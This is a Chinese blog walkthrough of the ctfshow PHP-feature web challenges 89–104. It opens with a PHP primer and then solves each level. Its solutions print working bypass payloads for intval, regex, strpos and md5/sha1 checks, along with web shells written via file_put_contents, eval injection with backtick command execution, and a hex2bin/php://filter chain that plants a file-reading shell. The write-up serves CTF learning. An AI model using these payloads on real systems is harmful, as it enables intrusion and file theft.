web入门php特性web89—104(ctfshow)

一、了解PHP语言

PHP 语法 | 菜鸟教程

PHP(全称:PHP:Hypertext Preprocessor,即"PHP:超文本预处理器")是一种通用开源脚本语言。

  • PHP 是一门弱类型语言,PHP 会根据变量的值,自动把变量转换为正确的数据类型。(强类型就比如c语言,要事先声明变量和类型)

PHP语法

  • PHP 脚本可以放在文档中的任何位置。
  • PHP 脚本以 <?php 开始,以 ?> 结束;
  • PHP 文件的默认文件扩展名是 .php。
  • PHP 文件通常包含 HTML 标签和一些 PHP 脚本代码。
  • PHP 中的每个代码行都必须以分号结束。分号是一种分隔符,用于把指令集区分开。
  • 通过 PHP,有两种在浏览器输出文本的基础指令:echoprint
<!DOCTYPE html>
<html>
<body>

<h1>标题一</h1>

<?php
echo "Hello World!";
?>

</body>
</html>

PHP中的注释

  • // 单行注释
  • /*多行注释*/

PHP变量

  • 变量以 $ 符号开始,后面跟着变量的名称
  • 变量名必须以字母或者下划线字符开始
  • 变量名只能包含字母、数字以及下划线(A-z、0-9 和 _ )、不能包含空格
  • 变量名是区分大小写的($y 和 $Y 是两个不同的变量)

PHP弱类型和强类型

PHP弱类型和强类型_php 强类型-CSDN博客

php是一种弱类型语言,对数据的类型要求并不严格,可以让数据类型互相转换。

php其中的两种比较符号:

    ==:先将字符串类型转换相同,再比较。(松散比较)(只比较值,不比较数据类型)

    ===:先判断两种字符串的类型是否相等,再比较。(进行严格的类型和值比较)

1.弱类型比较(==)

若字符型值开头为数字,转为数字;

若开头不为数字,为 null 弱比较,与 0 相等。

  "123abc"==123     => true

 ''abc123''==123     => false

 ''abc123''==0         => true

绕过方法:

(1)使用md5绕过

常见的MD5碰撞:md5值为0e开头_md5 0e开头-CSDN博客

php中存在== 弱类型比较,可通过hash比较的缺陷绕过

hash比较的缺陷:

两个数的md5加密后的值以0e开头就可以绕过

因为以0e开头的数会被认为是科学计数法,0e+任何数 在科学计数法中都是0,故两数相等

(2)使用数组绕过

由于md5()函数存在缺陷,加密[]的时候返回值如果是NULL,就能成功的绕过

2.强类型比较(===)

当两个操作数的类型和值完全相等时,才会返回true,否则返回false。

  "123abc"==="123abc"     => true

绕过方法:使用数组绕过

PHP类与对象

PHP类与对象

二、web入门php特性(ctfshow)

https://www.cnblogs.com/sen-y/p/15579061.html#_label0_1

web 89

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){                //get传参num
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){    //正则过滤了0到9的数字
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

intval() 的返回值是整型,1或0
作用于数组时:当数组为空,返回值是0,不为空则为1        无报错 

可用数组绕过: ?num[]=1

web 90

intval()函数

PHP intval()函数详解,intval()函数漏洞原理及绕过思路

intval() 函数可以获取变量的整数值,常用于强制类型转换。

语法:

int intval( $var, $base )
$var:需要转换成 int整型 的变量
$base:转换所使用的进制
$base 允许为空
当 base 为空时,默认值是 0,会根据 $var 的格式来调整转换的进制。
    $var 以 0 开头,使用 8进制
    $var 以0x开头,使用 16进制
    否则,使用 10进制

当某个数字被过滤时,可以使用它的其他进制来绕过。

if(intval($num,0)===4476){                        base=0,所以会对num的格式进行检测
        echo $flag;

可使用4476的其他进制来绕过

十进制表示:在数字后面加任意字母
?num=4476a

十六进制表示:在数字前加0x
?num=0x117c

八进制表示:在数字前加0
?num=010574

web 91

if(preg_match('/^php$/im', $a)) 
        ...
    echo $flag; 

1  /i表示匹配大小写
2  字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配以php开头和以php结尾
3  m(more):多行匹配
   若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配

e.g

$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);

符合正则表达式。

因为匹配的时候 先匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。

url可为:/?cmd=php%0aphp

%0a为换行符

web 92

法一:

与web90一样,使用4476的其他进制绕过

法二:

此处为==弱类型比较,可用科学计数法绕过

PHP在处理字符串时的一个缺陷:

e这个字母比较特殊,在PHP中会被当作科学计数法。

可以构造4476e123,被认为是科学计数法

intval()函数处理时遇到字母就停止,所以只读取4476而不是4476e123,从而绕过

web 93

法一:

if(preg_match("/[a-z]/i", $num)) 

正则过滤了字母,故不能用十六进制(0x...)十进制(...a),可用八进制(0...)

?num=010574

法二:

intval() 函数会将传入的小数直接取整,从而实现绕过

?num=4476.1

web 94

strpos()函数

strpos() 函数返回字符串在另一字符串中第一次出现的位置

语法

strpos(string,find,start)
string 	必需。规定要搜索的字符串。
find 	必需。规定要查找的字符串。
start 	可选。规定在何处开始搜索。

e.g

if(preg_match("/[a-z]/i", $num))
正则过滤了字母,不能使用进制转换

if(!strpos($num, "0"))
返回字符串0在$num中第一次出现的位置,故传入的参数的第一位不能为0,如果是0,就返回die
故也不能简单使用八进制

法一:

使用intval() 函数匹配 换行%0a 后的八进制4476,从而绕过strpos() 函数

?num=%0a010574

法二:

让第一位为空格,绕过strpos() 函数匹配的第一位0

%20表示空格字符的URL编码

?num= 010574(空格+010574)

?num=%20010574

法三:

使用intval() 函数 将传入的小数直接取整,从而绕过

?num=4476.0

web 95

此处正则多过滤了小数点,所以不能再用小数绕过

?num=%0a010574

?num= 010574(空格+010574)

?num=%20010574

web 96

若?u=flag.php,则返回no no no

但得到flag需触发高亮显示,故可使用

/?u=/var/www/html/flag.php              绝对路径
/?u=./flag.php                          相对路径
/?u=php://filter/resource=flag.php      php伪协议             

在linux中,./表示当前目录

web 97

POST传参a和b,如果a的值不等于b,但是a与b的MD5值相等  则返回flag

可利用md5()函数加密[]的时候返回值为NULL绕过

POST: a[]=1&b[]=2

web 98

PHP 三元运算符

语法

aaa? bbb: ccc
对 aaa 求值为 TRUE 时的值为 bbb,
对 aaa 求值为 FALSE 时的值为 ccc。

自 PHP 5.3 起,可以省略三元运算符中间那部分。

表达式 aaa?: ccc    在 aaa 求值为 TRUE 时返回 bbb,否则返回 ccc

e.g

<?php
// 普通写法
$username = isset($_GET['user']) ? $_GET['user'] : 'no no no';
echo $username, PHP_EOL;
 
// PHP 5.3+ 版本写法
//PHP_EOL 是一个换行符,兼容更大平台。
$username = $_GET['user'] ?: 'no no no';
echo $username, PHP_EOL;
?>

//&是引用符号:不同的名字访问同一个变量内容。

代码审计:

$_GET ? $_GET=&$_POST : 'flag';

//如果有get传参,就返回flag。否则等于post的值
//如果存在get方式,就把post的地址传给get(&)
highlight_file ( $_GET['HTTP_FLAG']=='flag' ? $flag : __FILE__)

如果有GET传参'HTTP_FLAG=flag',就高亮显示flag  highlight_file($flag)。否则highlight_file(__FILE__) 

故需要GET传参(随便什么都行);存在了GET方式 就需要POST传参将HTTP_FLAG=flag传给get。

GET传参:/?1
POST传参:HTTP_FLAG=flag  

web 99

<?php
highlight_file(__FILE__);
//初始化一个空数组$allow,这个数组将被用来存储一系列数字。
$allow = array();

//for循环,从36开始,直到0x36d(十六进制表示,等于877),每次循环将i递增1。
for ($i=36; $i < 0x36d; $i++) { 
//在每一次循环中,使用rand(1,$i)生成一个介于1和当前$i之间的随机数,并将其添加到$allow数组中。
    array_push($allow, rand(1,$i));
}

//条件判断语句,检查$_GET['n']这个变量是否被设置,并且它的值是否在$allow数组中。
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){

//如果上述条件为真,则将$_POST['content']中的数据写入到文件$_GET['n']中
    file_put_contents($_GET['n'], $_POST['content']);
}
?> 

函数:

$allow = array();      //创建一个空数组allow

array_push() 函数:向第一个参数的数组尾部添加一个或多个元素(入栈)

rand() 函数:返回随机整数。

isset() 函数:检测变量是否已设置并且非 NULL。

in_array()函数:搜索数组中是否存在指定的值。

file_put_contents() 函数:把一个字符串写入文件中。
如果文件不存在,将创建一个文件
如果成功,该函数将返回 写入文件中的字符数。如果失败,则返回 False。

GET传参:?n=1.php
POST传参:content=<?php system('ls');?>
之后再访问1.php即可查看当前目录

GET传参:?n=2.php
POST传参:content=<?php system('tac flag36d.php');?>
之后再访问2.php即可得到flag

试过cat,应该被过滤了

web 100

// 高亮显示当前文件
highlight_file(__FILE__);

// 包含ctfshow.php文件,其中可能定义了ctfshow类
include("ctfshow.php");

// 注释中提到flag在ctfshow类中

// 创建ctfshow类的一个实例化对象ctfshow
$ctfshow = new ctfshow();

// GET传参v1, v2, v3
$v1 =$_GET['v1'];
$v2 =$_GET['v2'];
$v3 =$_GET['v3'];

// 检查v1, v2, v3是否都是数字
$v0 = is_numeric($v1) && is_numeric($v2) && is_numeric($v3);

// 如果v1, v2, v3都是数字
if ($v0) {
    // 检查v2中是否不包含分号
    if (!preg_match("/\;/", $v2)) {
        // 检查v3中是否包含分号
        if (preg_match("/\;/", $v3)) {
            // 使用eval执行$v2('ctfshow')$v3,这是调用ctfshow类的方法
            eval("$v2('ctfshow')$v3");
        }
    }
}

= 的优先级高于and 和 or

is_numeric() 函数:用于检测变量是否为数字或数字字符串。
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE

构建payload:(GET传参)

?v1=1&(为数字即可)

v2=print_r($ctfshow)&

print_r($ctfshow);     //输出对象ctfshow

var_dump($ctfshow);

v3=;

此处v3直接传分号;可以  看了大佬wp还可以使用以下2种方法:

/?v1=1&v2=var_dump($ctfshow)/*&v3=*/;      //利用注释符号/**/

/?v1=1&v2=&v3=?><?=`tac ctfshow.php`;      //反引号执行命令

flag_is_a9907a350x2dd3060x2d4bf70x2db2a20x2d64f8c70228fb

0x2d是一个十六进制数,在ASCII码表中,它代表连字符 -

故flag应为:ctfshow{9907a35-d306-4bf7-b2a2-64f8c70228fb}

web 101

// 注释中提到flag在ctfshow类中
// flag in class ctfshow;

在上一题的基础上,对 v2 和 v3 新增了很多的过滤

$和\*以及反引号也都被过滤了,所以不可以直接输出对象ctfshow、不可以注释、不可以反引号执行。

可采用反射类的方法:

?v1=1&v2=echo new ReflectionClass&v3=;

查看提示:最后一位需要爆破16次,题目给的flag少一位

故替换掉 0x2d 得到flag后再使用bp抓包爆破一下即可。

PHP反射类

ReflectionClass反射类在PHP5新加入,继承自Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作。(故输出使用echo)

e.g

<?php
class hhh                    //定义一个类hhh
{
static
function method(){
    echo 'Hello World!';
    }
}
$h = new ReflectionClass('hhh');   //建立hhh类的反射类
echo $h;                           //输出反射类后的hhh类
$hhh = $h->newInstance();          //通过反射类实例化hhh类为对象
print_r($hhh);                     //输出对象hhh
$hhh->method();                    //执行类方法
?>

反射类不仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。

因此可以通过建立反射类new ReflectionClass(system('cmd'))来执行命令。

web 102

代码审计

highlight_file(__FILE__);
$v1 =$_POST['v1'];    // POST传参v1
$v2 =$_GET['v2'];     // GET传参v2和v3
$v3 =$_GET['v3'];

// 检查v2和v3是否都是数字
$v4 = is_numeric($v2) && is_numeric($v3);

// 如果v2和v3都是数字,执行以下操作
if ($v4) {
    // 从v2中截取从第2个字符开始的子字符串
    $s = substr($v2, 2);

    // 使用变量v1作为函数名,并调用它,将$s作为参数传递
    $str = call_user_func($v1,$s);    
    echo $str;        // 输出处理后的字符串

    // 将处理后的字符串写入文件v3
    file_put_contents($v3,$str);
    } 
    // 如果v2或v3不是数字,输出'hacker'并终止脚本
else {
    die('hacker');
}

substr()函数:

substr() 可以截取字符串

语法

string substr( $str, start, length);
 $str :被截取的字符串。
 start :开始截取的位置。
 length :截取的长度。

返回值

截取成功,就返回截取的字符串
start 超过字符串长度,就返回 false
start 和 length 设置成不合理的截取范围,就返回空字符串

substr((xxx),1,1):表示从第1个字母开始,显示1个字母,从1开始计数

call_user_func()函数:

call_user_func(callback,parameter ) 是一个回调函数

第一个参数 callback 是被调用的回调函数(一般为闭包函数),其余参数是回调函数的参数。

会把参数过一下回调函数。

file_put_contents()函数:

file_put_contents() 函数把一个字符串写入文件中。

语法:

file_input_contents(file,data,mode,context);

file	必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data	可选。规定要写入文件的数据。可以是字符串、数组或数据流。
mode	可选。规定如何打开/写入文件。可能的值:FILE_USE_INCLUDE_PATH ; FILE_APPEND ; LOCK_EX
context	可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 null,则忽略。

$s = substr($v2,2);        从v2中截取从第2个字符开始的子字符串

$str = call_user_func($v1,$s);    $v1是函数,$s是参数

file_put_contents($v3,$str);        给v3要传入一个文件名字,这样才能构造出来一个接受$str的文件

$v1:使用hex2bin()作为回调函数(hex2bin()函数:将十六进制字符串转换为ASCII字符
$v2:要求全是数字。
$v3:使用PHP伪协议写入文件1.php

查看大佬wp,构造payload:

v1=hex2bin

$a=<?=`cat *`;
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);        //bin2hex是把ASCII 字符的字符串转化为16进制

输出   5044383959474e6864434171594473
//带e的话会被认为是科学计数法,可以通过is_numeric检测。

因为是从下标为2的位置取的字符串,所以要在前面加两个数字(随意)
v2=005044383959474e6864434171594473

v3=php://filter/convert.base64-decode/resource=1.php

 访问1.php文件,查看源代码得到flag

web 103

正则过滤了.*p.*h.*p.*还是与web102一样

payload;

GET:?v2=005044383959474e6864434171594473&v3=php://filter/convert.base64-decode/resource=1.php
POST:v1=hex2bin

访问1.php,查看源代码

web 104

存在==弱比较,且sha1与md5类似都无法处理数组

故可用数组、0e绕过

payload:

POST:v1=[]1    或v1=0e76658526655756207688271159624026011393
GET:v2=[]2       v2=0e89257456677279068558073954252716165668

  • 29
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值